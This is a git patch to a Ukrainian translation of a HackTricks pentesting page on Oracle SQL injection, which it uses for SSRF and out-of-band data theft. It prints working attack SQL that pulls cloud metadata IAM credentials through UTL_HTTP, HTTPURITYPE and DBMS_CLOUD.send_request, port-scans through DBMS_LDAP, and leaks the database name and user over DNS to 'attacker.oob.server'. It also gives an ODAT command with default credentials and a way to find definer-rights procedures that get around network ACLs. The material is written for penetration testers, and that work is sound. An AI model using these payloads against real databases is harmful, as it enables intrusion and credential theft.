From 98cbb07b572f0cd0ab8957386c4981307b8e3b1e Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 00:35:09 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/oracle-injection.md'] to u --- .../sql-injection/oracle-injection.md | 99 +++++++++++++++++-- 1 file changed, 91 insertions(+), 8 deletions(-) diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md index 9a2a63791..50d763f20 100644 --- a/src/pentesting-web/sql-injection/oracle-injection.md +++ b/src/pentesting-web/sql-injection/oracle-injection.md @@ -2,19 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -**Надайте цю публікацію копію з Wayback Machine видаленої публікації з [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. +**Serve this post a wayback machine copy of the deleted post from [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**. ## SSRF Використання Oracle для виконання Out of Band HTTP та DNS запитів добре задокументовано, але як засіб ексфільтрації SQL даних в ін'єкціях. Ми завжди можемо модифікувати ці техніки/функції для виконання інших SSRF/XSPA. -Встановлення Oracle може бути дійсно болісним, особливо якщо ви хочете налаштувати швидкий екземпляр для випробування команд. Мій друг і колега з [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), вказав мені на [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), що дозволило мені налаштувати екземпляр на машині t2.large AWS Ubuntu та Docker. +Встановлення Oracle може бути дійсно болісним, особливо якщо ви хочете налаштувати швидкий екземпляр для випробування команд. Мій друг і колега з [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), вказав мені на [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c), що дозволило мені налаштувати екземпляр на t2.large AWS Ubuntu машині та Docker. Я запустив команду docker з прапором `--network="host"`, щоб я міг імітувати Oracle як рідну установку з повним доступом до мережі, протягом цього блогу. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` -#### Пакети Oracle, які підтримують специфікацію URL або Ім'я хоста/Номер порту +#### Oracle пакети, які підтримують специфікацію URL або Ім'я хоста/Номер порту Щоб знайти будь-які пакети та функції, які підтримують специфікацію хоста та порту, я провів пошук у Google на [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Конкретно, ``` @@ -43,7 +43,7 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn **DBMS_LDAP.INIT** -Пакет `DBMS_LDAP` дозволяє отримувати доступ до даних з LDAP серверів. Функція `init()` ініціалізує сесію з LDAP сервером і приймає ім'я хоста та номер порту як аргумент. +Пакет `DBMS_LDAP` дозволяє отримувати доступ до даних з LDAP-серверів. Функція `init()` ініціалізує сесію з LDAP-сервером і приймає ім'я хоста та номер порту як аргумент. Цю функцію раніше документували, щоб показати ексфільтрацію даних через DNS, як нижче ``` @@ -58,7 +58,7 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; ``` -`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` показує, що порт закритий, тоді як значення сесії вказує на те, що порт відкритий. +`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` вказує на те, що порт закритий, хоча значення сесії вказує на те, що порт відкритий. **UTL_SMTP** @@ -82,7 +82,7 @@ END; **UTL_TCP** -Пакет `UTL_TCP` та його процедури і функції дозволяють [TCP/IP на основі зв'язку з сервісами](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Якщо він запрограмований для конкретного сервісу, цей пакет може легко стати шляхом у мережу або виконувати повні запити з боку сервера, оскільки всі аспекти TCP/IP з'єднання можуть бути контрольовані. +Пакет `UTL_TCP` та його процедури і функції дозволяють [TCP/IP на основі зв'язку з сервісами](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Якщо його запрограмувати для конкретного сервісу, цей пакет може легко стати шляхом у мережу або виконати повні запити на стороні сервера, оскільки всі аспекти TCP/IP з'єднання можуть бути контрольовані. Приклад [на сайті документації Oracle показує, як ви можете використовувати цей пакет для створення сирого TCP з'єднання для отримання веб-сторінки](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ми можемо трохи спростити це і використовувати його для виконання запитів до екземпляра метаданих, наприклад, або до довільного TCP/IP сервісу. ``` @@ -128,7 +128,7 @@ END; **UTL_HTTP та веб-запити** -Мабуть, найпоширеніша та найдокументованіша техніка в кожному навчальному посібнику з Out of Band Oracle SQL Injection - це пакет [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Цей пакет визначається документацією як - `Пакет UTL_HTTP здійснює виклики протоколу передачі гіпертексту (HTTP) з SQL та PL/SQL. Ви можете використовувати його для доступу до даних в Інтернеті через HTTP.` +Мабуть, найпоширеніша та найдокументованіша техніка в кожному навчальному посібнику з Out of Band Oracle SQL Injection - це пакет [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Цей пакет визначається документацією як - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` @@ -140,6 +140,89 @@ select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` `ORA-12541: TNS:no listener` або `TNS:operation timed out` є ознакою того, що TCP порт закритий, тоді як `ORA-29263: HTTP protocol error` або дані є ознакою того, що порт відкритий. -Інший пакет, який я використовував у минулому з різним успіхом, це [`GETCLOB()` метод абстрактного типу `HTTPURITYPE` Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), який дозволяє взаємодіяти з URL і надає підтримку для HTTP протоколу. Метод `GETCLOB()` використовується для отримання GET відповіді з URL як [CLOB типу даних.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; +Інший пакет, який я використовував у минулому з різним успіхом, це [`GETCLOB()` метод `HTTPURITYPE` абстрактного типу Oracle](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705), який дозволяє взаємодіяти з URL і надає підтримку для HTTP протоколу. Метод `GETCLOB()` використовується для отримання GET відповіді з URL у вигляді [CLOB типу даних.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) +``` +SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual; +``` +--- + +## Додаткові пакети та техніки (Oracle 19c → 23c) + +### UTL_INADDR – ексфільтрація на основі DNS та виявлення хостів + +`UTL_INADDR` надає прості допоміжні засоби для розв'язання імен, які викликають вихідний DNS-запит з хосту бази даних. Оскільки потрібен лише домен (порт/ACL не потрібні), це надійний примітив для сліпої ексфільтрації, коли інші мережеві виклики заблоковані. +```sql +-- Leak the DB name and current user via a DNS query handled by Burp Collaborator +SELECT UTL_INADDR.get_host_address( +(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)|| +'.attacker.oob.server') FROM dual; +``` +`get_host_address()` повертає розв'язану IP-адресу (або викликає `ORA-29257`, якщо розв'язання не вдається). Атакуючому потрібно лише спостерігати за вхідним DNS-запитом на контрольованому домені, щоб підтвердити виконання коду. + +### DBMS_CLOUD.SEND_REQUEST – повний HTTP-клієнт на Autonomous/23c + +Останні хмарні версії (Autonomous Database, 21c/23c, 23ai) постачаються з `DBMS_CLOUD`. Функція `SEND_REQUEST` діє як універсальний HTTP-клієнт, який підтримує користувацькі дієслова, заголовки, TLS та великі тіла, що робить її набагато потужнішою за класичний `UTL_HTTP`. +```sql +-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges +BEGIN +-- empty credential when no auth is required +DBMS_CLOUD.create_credential( +credential_name => 'NOAUTH', +username => 'ignored', +password => 'ignored'); +END; +/ + +DECLARE +resp DBMS_CLOUD_TYPES.resp; +BEGIN +resp := DBMS_CLOUD.send_request( +credential_name => 'NOAUTH', +uri => 'http://169.254.169.254/latest/meta-data/', +method => 'GET', +timeout => 3); +dbms_output.put_line(DBMS_CLOUD.get_response_text(resp)); +END; +/ +``` +Оскільки `SEND_REQUEST` дозволяє довільні цільові URI, його можна зловживати через SQLi для: +1. Внутрішнього сканування портів / SSRF до служб метаданих хмари. +2. Витоку даних поза каналом через HTTPS (використовуйте Burp Collaborator або тунель `ngrok`). +3. Зворотних викликів до серверів зловмисника, навіть коли старі пакети викликів відключені ACL. + +ℹ️ Якщо у вас є лише класичний локальний 19c, але ви можете створювати збережені процедури Java, ви іноді можете встановити `DBMS_CLOUD` з пакету клієнта OCI — корисно в деяких випадках. + +### Автоматизація поверхні атаки з **ODAT** + +[ODAT – Інструмент для атаки бази даних Oracle](https://github.com/quentinhardy/odat) йде в ногу з сучасними випусками (перевірено до 19c, 5.1.1 – квітень 2022). Модулі `–utl_http`, `–utl_tcp`, `–httpuritype` та новіший `–dbms_cloud` автоматично: +* Виявляють придатні пакети викликів/надання ACL. +* Викликають DNS та HTTP зворотні виклики для сліпого витоку. +* Генерують готові до копіювання SQL корисні навантаження для Burp/SQLMap. + +Приклад: швидка перевірка OOB з використанням стандартних облікових даних (піклується про перерахування ACL у фоновому режимі): +```bash +odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob +``` +### Останні обмеження та обхід мережевих ACL + +Oracle посилив стандартні мережеві ACL у CPU липня 2023 року — облікові записи без привілеїв тепер за замовчуванням отримують `ORA-24247: network access denied by access control list`. Два шаблони все ще дозволяють виклики через SQLi: +1. Цільовий обліковий запис володіє записом ACL (`DBMS_NETWORK_ACL_ADMIN.create_acl`), який був доданий розробником для інтеграцій. +2. Зловмисник зловживає високопривілейованою процедурою PL/SQL з правами визначення (наприклад, у власному додатку), яка *вже* має `AUTHID DEFINER` та необхідні привілеї. + +Якщо ви зіткнетеся з `ORA-24247` під час експлуатації, завжди шукайте повторно використовувані процедури: +```sql +SELECT owner, object_name +FROM dba_objects +WHERE object_type = 'PROCEDURE' +AND authid = 'DEFINER'; +``` +(в багатьох аудитах принаймні одна процедура звітування/експорту мала необхідні права). + +--- + +## Посилання + +* Oracle Docs – опис пакету `DBMS_CLOUD.SEND_REQUEST` та приклади. +* quentinhardy/odat – Інструмент для атаки на Oracle Database (остання версія 5.1.1, квітень 2022). {{#include ../../banners/hacktricks-training.md}}